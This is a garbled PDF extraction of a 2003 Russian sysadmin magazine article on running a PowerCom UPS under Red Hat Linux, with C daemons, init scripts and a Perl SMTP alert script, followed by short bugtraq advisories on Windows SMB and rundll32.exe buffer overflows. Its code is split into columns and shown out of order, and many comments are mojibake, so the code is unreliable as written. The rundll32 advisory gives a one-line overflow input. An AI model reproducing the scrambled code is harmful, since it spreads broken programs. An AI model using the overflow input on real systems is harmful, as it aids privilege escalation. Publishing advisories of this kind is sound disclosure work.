* * This program is free software; you can redistribute * it and/or modify it under the terms of the GNU * General Public License as published by * the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. * * * Update for PowerCom King Pro by Fedor Lizunkov * 2:5020/960@Fidonet 24 May 2000 */ /* state 0 - power is good */ #define T0_SLEEP 10 /* interval between port reads,in seconds */ #define T0_INL 3 /* number of seconds IN LINE has to be 0 to cause an action */ #define T0_BAT 3 /* number of seconds BATTERY has to be 0 to cause an action */ /* state 1 - power is failing */ #define T1_SLEEP 2 /* interval between ports reads */ #define T1_INL 3 /* same as T0_INL */ #define T1_BAT 3 /* same as T0_BAT */ #define #define #define #define
NUMRECEIVEDBYTES REQ_01 0x01 REQ_03 0x03 REQ_OFF 0xbc
#define #define #define #define
LINE_FAIL BATT_LOW UPS_OFF BATT_BAD
11
/* /* /* /*
out date size from UPS */ in date to UPS (request) */ in date to UPS (self test) */ first byte for UPS off */
0x01 0x02 0x80 0x02
/* Use the new way of communicating with init. */ #define NEWINIT #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/termios.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <signal.h> #include <syslog.h> #include <string.h> #include "paths.h" #ifdef NEWINIT #include "initreq.h" #endif #ifndef SIGPWR # define SIGPWR SIGUSR1 #endif #ifdef NEWINIT void alrm_handler() { } #endif /* Tell init that the power has gone (1), is back (0), or the UPS batteries are low (2). */ void powerfail(int event) { int fd; #ifdef NEWINIT struct init_request req; /* Fill out the request struct. */ memset(&req, 0, sizeof(req)); req.magic = INIT_MAGIC; switch (event) { case 0: req.cmd = INIT_CMD_POWEROK; break; case 1: req.cmd = INIT_CMD_POWERFAIL; break; case 2: default: req.cmd = INIT_CMD_POWERFAILNOW; }
hardware /* Open the fifo (with timeout) */ signal(SIGALRM, alrm_handler); alarm(3); if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0 && write(fd, &req, sizeof(req)) == sizeof(req)) { close(fd); return; } /* Fall through to the old method.. */ #endif /* Create an info file for init. */ unlink(PWRSTAT); if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) { switch (event) { case 0: write(fd, "OK\n", 3); break;
/* Daemonize. */ switch(fork()) { case 0: /* Child */ closelog(); setsid(); break; case -1: /* Error */ syslog(LOG_ERR, "can't fork."); closelog(); exit(1); default: /* Parent */ closelog(); exit(0); } /* Restart syslog. */ openlog("powerd", LOG_CONS, LOG_DAEMON); /* Now sample the DCD line. */ while(1) {
case 1: write(fd, "FAIL\n", 5); break; case 2: default: write(fd, "LOW\n", 4); break; } close(fd); } kill(1, SIGPWR); } /* Main program. */ int main(int argc, char *argv[]) { int fd; int dtr_bit = TIOCM_DTR; int rts_bit = TIOCM_RTS; int counter; int ret; unsigned char req_01 = REQ_01; unsigned char in; unsigned char buf[NUMRECEIVEDBYTES]; int status = -1; int INL; int BAT; struct termios tio; int INL_count = 0, BAT_count = 0; int tries; if (argc < 2) { fprintf(stderr, "Usage: powerd <device>\n"); exit(1); } /* Start syslog. */ openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON); /* Open monitor device. */ if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) { syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]); closelog(); exit(1); } tcgetattr (fd, &tio); tio.c_cflag = B1200 | CS8 | CLOCAL | CREAD; tio.c_iflag = IGNPAR; tio.c_oflag = 0; tio.c_lflag = 0; tio.c_cc[VMIN] = 1; tio.c_cc[VTIME] = 0; tcflush (fd, TCIFLUSH); tcsetattr (fd, TCSANOW, &tio); /* DTR is low */ ioctl(fd, TIOCMBIC, &dtr_bit); /* RTS is high */ ioctl(fd, TIOCMBIS, &rts_bit);
№8(9), август 2003
tcflush (fd, TCIFLUSH); ret = write(fd, &req_01, 1); if (ret <= 0 ) { sleep(10); continue; } sleep(1); counter = 0; while (counter < NUMRECEIVEDBYTES) { ret = read(fd, &in, 1); if (ret <= 0) { status = -1; break; } #ifdef DEBUG syslog(LOG_DEBUG, "in%d = 0x%x\n", counter, in); #endif buf[counter] = in; counter++; } if ((buf[5] != 0) || (buf[7] != 0) || (buf[8] != 0)) { /* looks like a transfer error in serial data communication */ syslog (LOG_WARNING, "Serial data from ups was invalid!"); sleep(10); continue; } if (buf[10] & BATT_BAD) { syslog (LOG_WARNING, "UPS`s battery is bad!"); sleep(10); continue; } INL = (buf[9] & LINE_FAIL) | (buf[9] & UPS_OFF); BAT = buf[9] & BATT_LOW; #ifdef DEBUG syslog(LOG_DEBUG, "INL = 0x%x, BAT = 0x%x\n", INL, BAT); #endif if (status == -1) { status = (INL == 0) ? 0 : 1; if (INL) { syslog(LOG_ALERT, "Power Failure. UPS active."); powerfail(1); } } switch (status) { case 0: if ((INL == 0) && (BAT == 0)) { INL_count = 0; BAT_count = 0; sleep(T0_SLEEP); continue; } if (INL != 0) INL_count++; if (BAT != 0)
55
hardware BAT_count++; if ((INL_count < T0_INL) && (BAT_count < T0_BAT)) { sleep(1); continue;
В стандартной установке RedHat 7.3 со средствами разработки и языком gcc проблем быть не должно. После компиляции у вас появится файл powerd. Запускать его нужно так:
} if (BAT_count == T0_BAT) { status = 2; syslog(LOG_ALERT, "UPS batteries low!"); break; } status = 1; INL_count = 0; syslog(LOG_ALERT, "Power Failure. UPS active."); break;
# powerd /dev/ttyS?
где вместо ? следует указывать нужный порт(/dev/ttyS0 – означает, что ИБП подключён к COM1. Если у вас ИБП подключён к COM2, то, соответственно, надо писать /dev/ ttyS1 и т. д.). У меня это дело запускается из /etc/rc.d/ rc.local.
case 1: if ((INL != 0) && (BAT == 0)) { INL_count = 0; BAT_count = 0; sleep(T1_SLEEP); continue; } if (INL == 0) INL_count++; if (BAT != 0) BAT_count++; if ((INL_count < T1_INL) && (BAT_count < T1_BAT)) { sleep(1); continue; } if (BAT_count == T1_BAT) { status = 2; syslog(LOG_ALERT, "UPS batteries low!"); break; } status = 0; INL_count = 0; BAT_count = 0; syslog(LOG_ALERT, "Power okay."); break; case 2: sleep(1); continue; default: break; } powerfail(status); } /* Never happens */ return(0); }
Это powerd.с, его надо скомпилировать. Для этого необходимо найти у себя файл ititreq.h или установить его. У меня в RedHat 7.3 он находится на CD 4: в /SRPMS/SysVinit2.84-2.src.rpm. Надо либо поставить SysVinit-2.84-2.src.rpm, либо переписать из него файл ititreq.h. Удобнее всего в mc зайти в этот файл, далее в sysvinit-2.84.tar.gz, в директории /sysvinit-2.84/sys с помощью клавиши F5 вытащить нужный файл и поместить его рядом с powerd.с. После необходимо дописать в powerd.с где-нибудь в начале: /* This is the file needed by SysVInit */ #define PWRSTAT "/etc/powerstatus"
Далее можно компилировать: # gcc –c powerd.c # gcc –o powerd powerd.o
либо: # gcc powerd.c -o powerd
56
#!/bin/sh # # This script will be executed *after* all # the other init scripts. # You can put your own initialization stuff in here # if you don't want to do the full Sys V style init stuff. touch /var/lock/subsys/local # Äîáàâèòü â êîíåö ôàéëà # Add support for the UPS echo "Starting powerd daemon..." rm -f /etc/turnUPSoff if [ -x /sbin/powerd ]; then /sbin/powerd /dev/ttyS0 fi # îòïðàâêà ñîîáùåíèÿ îá óñïåøíîì çàïóñêå, # ñì. ïîÿñíåíèÿ â êîíöå ñòàòüè ìîæíî çàêîììåíòèðîâàòü /sbin/pager/system_up
Файл /etc/turnUPSoff (его наличие) является флагом, который выставляется, если нужно выключить ИБП – удаляем его при старте системы. Далее правим /etc/inittab, необходимо заменить то, что там есть по поводу питания на эти строчки: # What to do when power fails (delayed shutdown). pf::powerfail:/etc/powerfail # If power is back before shutdown, cancel the running shutdown. pg::powerokwait:/etc/powerokay # If UPS batteries are getting low, do an immediate shutdown. pc::powerfailnow:/etc/powerfailnow
Если закомментировать уже имеющиеся строчки, то должно получиться следующее: # # inittab This file describes how the INIT process # should set upthe system in a certain run-level. # # Author: Miquel van Smoorenburg, # <miquels@drinkel.nl.mugnet.org> # Modified for RHS Linux # by Marc Ewing and Donnie Barnes # # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS # The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:3:initdefault: # System initialization. si::sysinit:/etc/rc.d/rc.sysinit
hardware l0:0:wait:/etc/rc.d/rc l1:1:wait:/etc/rc.d/rc l2:2:wait:/etc/rc.d/rc l3:3:wait:/etc/rc.d/rc l4:4:wait:/etc/rc.d/rc l5:5:wait:/etc/rc.d/rc l6:6:wait:/etc/rc.d/rc
0 1 2 3 4 5 6
# Things to run in every runlevel. ud::once:/sbin/update # Trap CTRL-ALT-DELETE ca::ctrlaltdel:/sbin/shutdown -t3 -r now # What to do when power fails (delayed shutdown). pf::powerfail:/etc/powerfail
# ýòî ó÷èòûâàòü äîïîëíèòåëüíî. PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'` if [ "$PID" != "" ]; then kill -9 $PID fi # ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ, â íåãî ïèøåì äàòó # â ôîðìàòå RFC, ÷òîáû íàì ïîòîì áûëî óäîáíåå ïîíÿòü, êîãäà áûë # ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå.  ïðèíöèïå â ôàéë ìîæíî # íè÷åãî íå ïèñàòü, òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî # ñîçäàíèÿ. date -R>/etc/turnUPSoff # çàïóñêàåì â ôîíîâîì ðåæèìå ñêðèïò, îñóùåñòâëÿþùèé ñèãíàëèçàöèþ # î ïðîïàäàíèè ïèòàíèÿ /sbin/pager/power_fail & # çàïóñêàåì âûêëþ÷åíèå ñèñòåìû ñ îòñðî÷êîé íà 10 ìèíóò /sbin/shutdown -t30 -r +10 "POWER FAILURE"
# If power is back before shutdown, cancel the running shutdown. pg::powerokwait:/etc/powerokay # If UPS batteries are getting low, do an immediate shutdown. pc::powerfailnow:/etc/powerfailnow
/etc/powerokay #!/bin/sh
# When our UPS tells us power has failed, assume we have # a few minutes of power left. # Schedule a shutdown for 2 minutes from now. # This does, of course, assume you have powerd installed # and your UPS connected and working correctly. #pf::powerfail:/sbin/shutdown -f -h +2 ↵ #"Power Failure; System Shutting Down"
# ôàéë /etc/powerokay, # çàïóñêàåòñÿ â ñëó÷àå âîçâðàùåíèÿ ýëåêòðîïèòàíèÿ
# If power was restored before # the shutdown kicked in, cancel it. #pr:12345:powerokwait:/sbin/shutdown -c ↵ #"Power Restored; Shutdown Cancelled"
kill `ps auxw | grep "powerfail" | grep -v grep | awk '{print $2}'`
# Run gettys in standard runlevels 1:2345:respawn:/sbin/mingetty tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6
# # # #
çàâåðøàåòñÿ ïðîöåññ powerfail, èíèöèèðîâàâøèé çàïóñê âûêëþ÷åíèÿ ïèòàíèÿ, à âìåñòå ñ íèì è âñå åãî ïîòîìêè, â òîì ÷èñëå è çàïóùåííûé èç íåãî shutdown
# Óáèðàåòñÿ ôëàã âûêëþ÷åíèÿ ÈÁÏ ïðè âûêëþ÷åíèè ñèñòåìû. rm -f /etc/turnUPSoff # Ïîñûëàåòñÿ ñîîáùåíèå î âîññòàíîâëåíèè ïèòàíèÿ è # ñèñòåìà, ïðè íåîáõîäèìîñòè âîçâðàùàåòñÿ â óðîâåíü 3. # Åñëè íà ñåðâåðå åñòü íàäîáíîñòü â çàïóùåííûõ X-Window, # òî ñëåäóåò âíåñòè èçìåíåíèÿ ñàìîñòîÿòåëüíî. /sbin/shutdown -c "THE POWER IS BACK" /sbin/init 3 # çàïóñêàåòñÿ ñêðèïò, îòñûëàþùèé ñîîáùåíèå # î âîñòàíîâëåíèè ýëåêòðîïèòàíèÿ /sbin/pager/power_okay
# Run xdm in runlevel 5 # xdm is now a separate service x:5:respawn:/etc/X11/prefdm -nodaemon
Далее нам необходимо создать файлы: /etc/powerfail – будет запускаться при пропадании напряжения; /etc/powerokay – будет запускаться, если после пропадания напряжения питание восстановится, а компьютер к этому времени еще не выключится; /etc/powerfailnow – будет запускаться, когда батарея ИБП села и долго не сможет работать в случае пропадания напряжения.
Возможно, эти файлы будут запускать другие, которые будут сигнализировать нам о своем запуске и делать другие действия, об этом речь пойдет ниже. /etc/powerfail #!/bin/sh # ôàéë /etc/powerfail çàïóñêàåòñÿ ïðè ïðîïàäàíèè ýëåêòðîïèòàíèÿ # Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ # ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè. /bin/sync # # # # # #
Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown, íàïðèìåð, íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà, òî âû÷èñëÿåì åå PID è çàâåðøàåì åå. Âìåñòî íåå áóäåò âèñåòü ýêçåìïëÿð íà çàâåðøåíèå ÷åðåç 10 ìèíóò.  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû âîñòàíîâëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ. Íåîáõîäèìî
№8(9), август 2003
/etc/powerfailnow #!/bin/sh # ôàéë /etc/powerfailnow, çàïóñêàåòñÿ ïðè ðàçðÿäå áàòàðåé â ÈÁÏ # Ñáðàñûâàåì êýøè è ñèíõðîíèçèðóåì ñîäåðæèìîå äèñêîâ # ñ èõ ÷àñòè÷íûìè îáðàçàìè â ïàìÿòè. /bin/sync # # # # # # # #
Ïðîâåðÿåì, íå çàïóùåíà ëè ó íàñ ïðîãðàììà shutdown, íàïðèìåð, íà âûêëþ÷åíèå ÷åðåç ñóòêè, åñëè çàïóùåíà, òî âû÷èñëÿåì åå PID è çàâåðøàåì åå. Âìåñòî íåå áóäåò âèñåòü ýêçåìïëÿð íà çàâåðøåíèå ÷åðåç 10 ìèíóò.  ñëó÷àå ïîñëåäóþùåãî âîçíèêíîâåíèÿ ïèòàíèÿ çàâåðøåííûé ýêçåìïëÿð shutdown íà âûêëþ÷åíèå ñèñòåìû âîñcòàíîâëåí íå áóäåò, è ñèñòåìà ÷åðåç ñóòêè íå âûêëþ÷èòñÿ. Íåîáõîäèìî ýòî ó÷èòûâàòü äîïîëíèòåëüíî.
PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'` if [ "$PID" != "" ]; then kill -9 $PID fi # ñîçäàåì ôàéë, ñëóæàùèé ôëàãîì âûêëþ÷åíèÿ ÈÁÏ, # â íåãî ïèøåì äàòó â ôîðìàòå RFC, ÷òîáû ïîòîì áûëî # óäîáíåå ïîíÿòü, êîãäà áûë ñîçäàí ôàéë è ïðîïàëî íàïðÿæåíèå. #  ïðèíöèïå â ôàéë ìîæíî íè÷åãî íå ïèñàòü, # òàê êàê ìîæíî ïðîñòî ïîñìîòðåòü âðåìÿ åãî ñîçäàíèÿ. date -R>/etc/turnUPSoff # çàïóñêàåì êîìàíäó íà âûêëþ÷åíèå ñèñòåìû ïðÿìî ñåé÷àñ /sbin/shutdown -r now "UPS batteries low. IMMEDIATE SHUTDOWN." # Åñëè óñïåâàåì, òî ïîñûëàåì ñîîáùåíèå àäìèíèñòðàòîðó # î òîì, ÷òî èäåò ýêñòðåííîå âûêëþ÷åíèå, âîçìîæíî, # ðàçóìíåå ðàçìåñòèòü îòñûëêó ñîîáùåíèÿ î âûêëþ÷åíèè # ïåðåä êîìàíäîé íà âûêëþ÷åíèå, îäíàêî # åñëè áàòàðåÿ ðàáîòàåò íà ïîñëåäíåì èçäûõàíèè, òî
57
hardware # ìîæåò ýòîãî íå ñëó÷èòüñÿ, à êîìïüþòåð íå óñïååò # âûêëþ÷èòüñÿ ïðàâèëüíî, ÷òî ìîæåò # ïðèâåñòè ê áîëüøèì ñáîÿì è ïîòåðÿì äàííûõ. /sbin/pager/power_failnow
Этим файлам следует придать атрибут запускаемости: # chmod +x /etc/powerfail # chmod +x /etc/powerokay # chmod +x /etc/powerfailnow
Также в целях безопасности можно изменить права на доступ, устанавливаемые по умолчанию. При выключении питания разумно выключить и сам ИБП, чтобы он не работал вхолостую (на ИБП без управления такое сделать сложно). Для этого необходимо скомпилировать файл poweroffups.c (Примечание: изначально файл назывался poweroff.c, но чтобы не возникало конфликтов, так как запускаемый файл poweroff уже есть, то я его переименовал.) /* poweroffups program for UPS Powercom King Pro. (c) Fedor Lizunkov 2:5020/960@Fidonet 26 May 2000 */ #include #include #include #include #include
<sys/types.h> <sys/stat.h> <sys/fcntl.h> <stdio.h> <unistd.h>
#define PAUSE 15 #define REQ_OFF 0xbc int main(int argc, char *argv[]) { int fd; unsigned char off = REQ_OFF; unsigned char pause = PAUSE;
рой – количество секунд, через которое следует выключить ИБП. Если число секунд не задано, то выключение происходит через 15 секунд. Чтобы выключение ИБП происходило при выключении компьютера, необходимо подправить файл /etc/rc.d/init.d/ halt, дописав туда следующие строчки в самом конце перед eval «$command $HALTARGS» или «eval $command – i –d –p»: # Äîáàâèòü â êîíåö ôàéëà ïåðåä ñòðîêîé # "eval $command $HALTARGS" èëè "eval $command -i -d -p" # Is this a powerfail situation? if [ -f /etc/turnUPSoff ]; then echo "Turning off UPS. Bye." /sbin/poweroffups /dev/ttyS0 5 # exit 1 fi
Проверяется, установлен ли флаг на выключение, то есть имеется ли файл /etc/turnUPSoff. Далее при его наличии запускается программа, которая передает ИБП параметры на выключение, соответственно, /dev/ttyS0 также означает, что ИБП подключен к COM1, а 5 означает, что систему надо выключить через 5 секунд. Теперь, после установки, когда в теории у вас все должно заработать (кроме пейджинга), давайте рассмотрим возможные проблемы, дабы избежать повторного «наступания на грабли». Лично у меня после установки всего обеспечения по инструкции программа наотрез отказывалась видеть ИБП. Размышления методом исключения через некоторое время привели к мысли, что проблема в кабеле.
if (argc < 2) { fprintf(stderr, "Usage: poweroff <device> [time(sec)]\n"); exit(1); } /* Open monitor device. */ if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) { exit(1); } if (argc > 2) { pause = (unsigned char)atoi(argv[2]); } write(fd, &off, 1); sleep(1/5); write(fd, &pause, 1); close(fd); return 0; } # gcc -c poweroffups.c # gcc -o poweroffups poweroffups.o
либо: # gcc poweroffups.ñ -o poweroffups
Готовый файл лучше записать в директорию /sbin, при необходимых требованиях безопасности, задав ему соответствующие атрибуты. Для его запуска ему надо передать два параметра: первый – порт, к которому подключен ИБП и на который надо посылать сигнал, а вто-
58
Ðèñóíîê 4.
После чего мной были исследованы кабели от нескольких моделей, разных по емкости и годам выпуска. В результате выяснилось, что существует несколько различных разводок кабелей, и у меня как раз оказался не тот, который нужен. Возможно, если бы все заработало сразу, то я бы и не стал писать статью. Итак, далее (рис. 5, рис. 6) разводки. Если у кого окажется третья – напишите, будет интересно. Если у вас компьютер новый (в корпусе ATX, рис. 7), то подключение осуществляется очень просто. Если же у вас компьютер старый (в корпусе AT, рис. 8), то у вас наряду с 9-контактным разъемом для COM-порта (DB-9) может встретиться и 25-контактный (DB-25). Для подключения к разъему DB-25 может использоваться переходник (рис. 9).
hardware Òàáëèöà 1. Ðàçâîäêà è ñèãíàëû ïîñëåäîâàòåëüíîãî èíòåðôåéñà (ÑÎM-ïîðòà).
Ðèñóíîê 5. Ðàçâîäêà 1. (Ðàáîòàåò). Ðàçúåìû DB-9, íà îäíîì ðàçúåìå íàïèñàíî KIN-1, òàêæå åñòü êàáåëü ñ òàêîé æå ðàçâîäêîé, íî áåç íàäïèñè KIN-1.
Ðèñóíîê 6. Ðàçâîäêà 2. (Íå ðàáîòàåò).
Ðèñóíîê 9.
Ðèñóíîê 7.
Ðèñóíîê 8.
Переходник можно купить готовый или спаять свой при наличии разъемов и разводки. Разводку и описание сигналов можно увидеть в таблице 1. В случае приобретения готового переходника советую проверить его разводку тестером. Возможно, что ваш пе-
№8(9), август 2003
реходник будет распаян по другой схеме, и ничего у вас работать не будет. После того как все было поставлено и заработало, надеюсь, что у вас, как и у меня, возник вопрос сигнализации. При пропадании напряжения сервер переходил в режим выключения, после ждал, что напряжение появится, и если оно минут через 10 не появлялось, то он сохранялся и выключался сам. При этом отключался и сам ИБП. Далее, при появлении напряжения все это дело включалось обратно, загружалось и работало. Небольшая сложность была только в настройках BIOS. Так как корпус у меня ATX, то для него можно прописать, как вести себя компьютеру в случае пропадания и после появления напряжения. Компьютер может перейти в то состояние в котором он был до исчезновения электропитания, то есть включиться, если был включен, или не включаться, если был выключен. Насколько я помню, пришлось включить режим включения при появлении напряжения после пропадания. Так как выключение ИБП случалось через 5 секунд, то компьютер успевал выключиться раньше и оказывался выключенным на момент снятия с него напряжения, поэтому после не включался. В общем, опытным путем за несколько минут вы разберетесь. Если пропадает напряжение, то это уже неординарная ситуация, несмотря на то, что все может само работать, как описано выше. Это, скорее, небольшое ЧП, так как, во-первых, пропадает сервис. Каково, если у вас упадет веб-сервер, и вы потеряете вашу хорошую репутацию, часть клиентов и вместе с ними вашу выгоду. Во-вторых, не факт, что напряжение дадут в разумный срок. Даже у любого мощного дизельного генератора без обслужива-
59
hardware ния и дозаправки рано или поздно закончится солярка. Втретьих, может зависнуть и что-то другое, поэтому администратора лучше информировать о событиях, связанных с электропитанием. Логично, что проще всего это делать через почту, а почта может быть послана на SMS-шлюз или наш шлюз пейджинговой компании в качестве пейджингового сообщения. При наличии в системе sendmail, qmail или других почтовых программ (MTA, mail transfer agent) проблема решена, однако вопрос: «Что делать, если эти программы не должны стоять на сервере, скажем, в целях безопасности, либо для них нет места?». Выход из этой ситуации довольно простой – написать небольшой скрипт, например на Perl, который бы запускался в нужном случае, соединялся бы с заранее определенным SMTP-сервером, для которого можно настроить правила iptables, и отсылал бы сообщение. Возможно, кто-то полезным для себя в этой статье найдет только этот скрипт, хотя подобные вещи давно уже описаны в различной литературе и не раз [2]. Конечно, это порочный круг – слать сообщения об ошибках через сеть, может же не только питание пропасть, но и сеть как раз не работать. Об этом я упомянул в самом начале, когда говорил о возможности защиты телефонной линий от некоторых помех средствами вышенастроенного ИБП. Как вариант можно настроить модемное соединение, и сервер будет звонить альтернативному провайдеру, однако это тема отдельной статьи по вопросу организации сигнализации на основе резервных модемных каналов. Да и наличие отдельной свободной телефонной линии тоже не всегда имеется. Поэтому это не очень удачный выход. В таком случае лучше использовать мобильные терминалы вроде Siemens TC35 Terminal [3], подключаемые к COM-порту. Это небольшая коробочка, которая подключается к компьютеру, в нее вставляется обычная SIM-карта для работы GSM-телефонов. К сожалению, терминала, работающего со стандартом CDMA, я пока не видел и не слышал о существовании такового. Далее, компьютер с помощью набора своеобразных at-команд (GSM 07.05) может посылать вам на телефон SMS более быстрым и надежным путем, исключая многие недостаточно надежные элементы. Значительно повышается вероятность доставки, так как из общей вероятности отказа исключаются вероятности того, что небудут работать модем, телефонная линия, коммутаторы на АТС, модемы провайдера, непосредственно отсылающего вам SMS, телефонная линия будет занята и т. д. Кому-то это может показаться дорого (около $250 за терминал) плюс ежемесячная абонентская плата сотовому оператору, либо большой кредит. Следует заметить что, какой-нибудь Pentium 100 может быть еще долго вполне жизнеспособен и по цене быть гораздо дешевле этого самого терминала. Вопрос же абонентской платы при желании можно попробовать решить созданием дубликата SIM-карты, однако не всякий провайдер поддержит такое начинание и будет гарантировать надежную работу. Многие умудряются переделать старые мобильные телефоны для этого, цена от этого получается меньше, надежность тоже несколько ниже. Как обойти проблему порочного круга при минимуме затрат – это уже другой вопрос, к этой статье прямо не относящийся. При необходи-
60
мости наш народ обязательно что-то придумает, ну а вот ниже, собственно, скрипт, осуществляющий отсылку сообщений: #!/usr/local/bin/perl use Socket; $pagermail="xxxxxx\@xxxxxxxx.ru"; $pagersmtp="XX.XX.XX.XX"; $from='server@yyyyyyyy.ru'; $subject ='Server power fail!'; $date = localtime time; ########### Send to pager ########### socket(SMTP, PF_INET(), SOCK_STREAM(),6); connect(SMTP,sockaddr_in(25,inet_aton($pagersmtp))); recv(SMTP, $buffer, 200, 0); send(SMTP, "HELO pasha\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "MAIL FROM: <$from>\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "RCPT TO: <$pagermail>\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "DATA\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, send(SMTP, send(SMTP, send(SMTP, send(SMTP, send(SMTP,
"From: $from\r\n",0); "To: $pagermail\r\n",0); "Subject: $subject\r\n",0); "Mime-Version: 1.0\r\n",0); "Content-Type: text/plain; charset=koi8-r\r\n",0); "Content-Transfer-Encoding: 8bit\r\n",0);
send(SMTP, "\r\n",0); send(SMTP, "Power failure. System going to poweroff in 10 minutes. $date\r\n",0);
gåðåíîñ ñòðîêè
send(SMTP, "\r\n.\r\n",0); recv(SMTP, $buffer, 200, 0); #print "SMTP answer on message to pager: $buffer\n"; send(SMTP, "QUIT\r\n",0); recv(SMTP, $buffer, 200, 0); close (SMTP);
В нем необходимо вначале вписать адрес SMTP-сервера, который вас пустит к себе и разрешит вам отправлять сообщения $pagermail="xxxxxx\@xxxxxxxx.ru"; и вписать адрес, на который вы собираетесь посылать сообщения. $pagersmtp="XX.XX.XX.XX";
Еще следует подправить обратный адрес, который будет подставляться в ваши письма: $from='server@yyyyyyyy.ru';
и другие переменные при необходимости (обратите внимание на разницу написания знака @ в случае использования одинарных и двойных кавычек). Для диагностики можно раскомментировать строчку, где выводится ответ от сервера. Скорее всего, эта информация попадет на консоль и в /var/log/messages, будучи перенаправленной средствами вне этого скрипта. Данный файл следует сделать запускаемым: # chmod +x power_fail
hardware и поместить в директорию /sbin/pager, куда на него уже ссылается файл powerfail. При повышенных требованиях к безопасности следует не забыть установить требуемые атрибуты у файла. Данный файл надо запускать из /etc/powerfail, лучше фоновым процессом /sbin/pager/power_fail & перед /sbin/ shutdown –t30 –r +10 "POWER FAILURE", тогда не будет подвисания системы, если вдруг чего-то не отошлется. Иначе управление ко второй строке может придти не сразу.
Ðèñóíîê 10.
Аналогичные файлы создаются и на случай появления напряжения после пропадания power_okay и на случай разрядки батарей при пропадании напряжения power_failnow. Разумно также составить файл, который будет запус-
№8(9), август 2003
каться при загрузке системы, например, он будет называться system_up и будет запускаться из /etc/rc.d/rc.local, см. выше. Считаю необходимым это сделать по той причине, что перезагрузка реально работающего сервера вручную администратором происходит очень редко, реже чем раз в полгода и то при профилактическом обслуживании. Поэтому случаи перезагрузки можно рассматривать на уровне с таким ЧП, как пропадание электропитания, если не более существенным. Литература: 1. Борзенко А.Е. IBM PC: устройство, ремонт, модернизация. – 2-е изд., перераб. и доп. – М.:ТОО фирма «Компьютер Пресс», 1996. 2. Касперски К. Техника сетевых атак. Том 1. – М.: СОЛОН-Р, 2001. 3. SIEMENS TC35 Терминал (функциональные возможности), http://www.olicom.spb.ru/ts35_4.html, 2003. 4. The UPS Howto: http://www.europe.redhat.com/ documentation/HOWTO/UPS-HOWTO-8.php3; http:// www.europe.redhat.com/documentation/HOWTO/UPSHOWTO.php3, 2003. 5. Тейнсли Д. Linux и UNIX: программирование в shell. Руководство разработчика: Пер. с англ. – К.: Издательская группа BHV, 2001. 6. Митчел М., Оулдем Д., Самьюэл А. Программирование для Linux. Профессиональный подход.: Пер. с англ. – М.: Издательский дом «Вильямс», 2002.
61
bugtraq Злонамеренный SMB-пакет может выполнить произвольный код на системах Windows NT Server 4.0/XP/2000 Уязвимость обнаружена в обработке параметров SMBпакетов. Удаленный атакующий может выполнить произвольный код на целевой системе. Server Message Block (SMB) – интернет-протокол, который позволяет Windows-пользователям открывать общий доступ к файлам, принтерам, серийным портам и связываться между компьютерами, используя именованные каналы и почтовые сегменты (mail slots). Недостаток обнаружен в пути, которым сервер проверяет правильность параметров SMB-пакетов. Когда система клиента посылает SMB-пакет к серверной системе, он включает определенные параметры, которые содержат набор «инструкций» для сервера. В этом случае сервер не проверяет правильность длины буфера, установленного пакетом. Если длина буфера, определенная клиентом, меньше, чем необходимо, произойдет переполнение буфера. Атакующий может сконструировать специально обработанный SMB пакет, чтобы переполнить буфер на сервере. В результате может нарушиться целостность данных, работа системы может аварийно завершиться или атакующий может выполнить произвольный код на сервере. Для эксплуатации этой уязвимости атакующий должен быть предварительно авторизован на сервере. Уязвимость обнаружена в Windows NT Server 4.0/ XP/2000. Microsoft оценил риск обнаруженной уязвимости как «Important». Для устранения уязвимости, установите патч, который можно скачать отсюда: http://microsoft.com/downloads/ details.aspx?FamilyId=D415A4AC-E13A-4E8A-BE2585E7DF686F61&displaylang=en
Переполнение буфера в rundll32.exe в Microsoft Windows 2000/XP Переполнение буфера обнаружено в rundll32.exe. Локальный пользователь может выполнить произвольный код на системе с поднятыми привилегиями. Переполнение обнаружено в rundll32.exe, когда передается большая строка как стандартное имя для модуля. Пример: rundll32.exe
advpack32.dll,<“A”x499>
advpack32.dll выбран в качестве примера. Уязвимость работает с любым модулем. Уязвимость обнаружена в WindowsXP SP1. Возможно, другие версии также уязвимы. Способов устранения обнаруженной уязвимости не существует в настоящее время.
